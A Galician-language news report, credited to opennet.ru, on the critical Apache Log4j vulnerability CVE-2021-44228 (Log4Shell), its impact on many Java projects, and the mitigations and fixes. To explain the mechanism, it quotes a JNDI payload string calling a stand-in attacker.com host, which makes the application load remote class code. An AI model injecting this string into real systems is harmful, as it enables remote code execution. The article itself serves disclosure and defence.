Vulnerabilidade catastrófica en Apache Log4j que afecta a moitos proxectos Java

En Apache Log4j, un marco popular para organizar o rexistro en aplicacións Java, identificouse unha vulnerabilidade crítica que permite executar código arbitrario cando se escribe no rexistro un valor con formato especial no formato "{jndi:URL}". O ataque pódese levar a cabo en aplicacións Java que rexistran os valores recibidos de fontes externas, por exemplo, cando se mostran valores problemáticos en mensaxes de erro.

Nótase que case todos os proxectos que usan frameworks como Apache Struts, Apache Solr, Apache Druid ou Apache Flink están afectados polo problema, incluíndo Steam, Apple iCloud, clientes e servidores de Minecraft. Espérase que a vulnerabilidade poida levar a unha onda de ataques masivos a aplicacións corporativas, repetindo o historial de vulnerabilidades críticas no marco Apache Struts, que, segundo unha estimación aproximada, é usado en aplicacións web polo 65% de Fortune. 100 empresas, incluídos os intentos de escanear a rede en busca de sistemas vulnerables.

O problema vese agravado polo feito de que xa se publicou un exploit de traballo, pero aínda non se compilaron as correccións para as ramas estables. Aínda non se asignou o identificador CVE. A corrección só se inclúe na rama de proba log4j-2.15.0-rc1. Como solución alternativa para bloquear a vulnerabilidade, recoméndase establecer o parámetro log4j2.formatMsgNoLookups como verdadeiro.

O problema foi causado polo feito de que log4j admite o procesamento de máscaras especiais "{}" nas liñas de saída ao rexistro, nas que se podían executar consultas JNDI (Java Naming and Directory Interface). O ataque redúcese a pasar unha cadea coa substitución "${jndi:ldap://attacker.com/a}", ao procesar que log4j enviará unha solicitude LDAP para o camiño á clase Java ao servidor attacker.com . O camiño devolto polo servidor do atacante (por exemplo, http://second-stage.attacker.com/Exploit.class) cargarase e executarase no contexto do proceso actual, o que permite que o atacante execute código arbitrario no sistema cos dereitos da aplicación actual.

Anexo 1: A vulnerabilidade foi asignada ao identificador CVE-2021-44228.

Anexo 2: identificouse un xeito de evitar a protección engadida pola versión log4j-2.15.0-rc1. Propúxose unha nova actualización, log4j-2.15.0-rc2, cunha protección máis completa contra a vulnerabilidade. O código destaca o cambio asociado á ausencia dunha terminación anormal no caso de utilizar un URL JNDI con formato incorrecto.

Fonte: opennet.ru

Engadir un comentario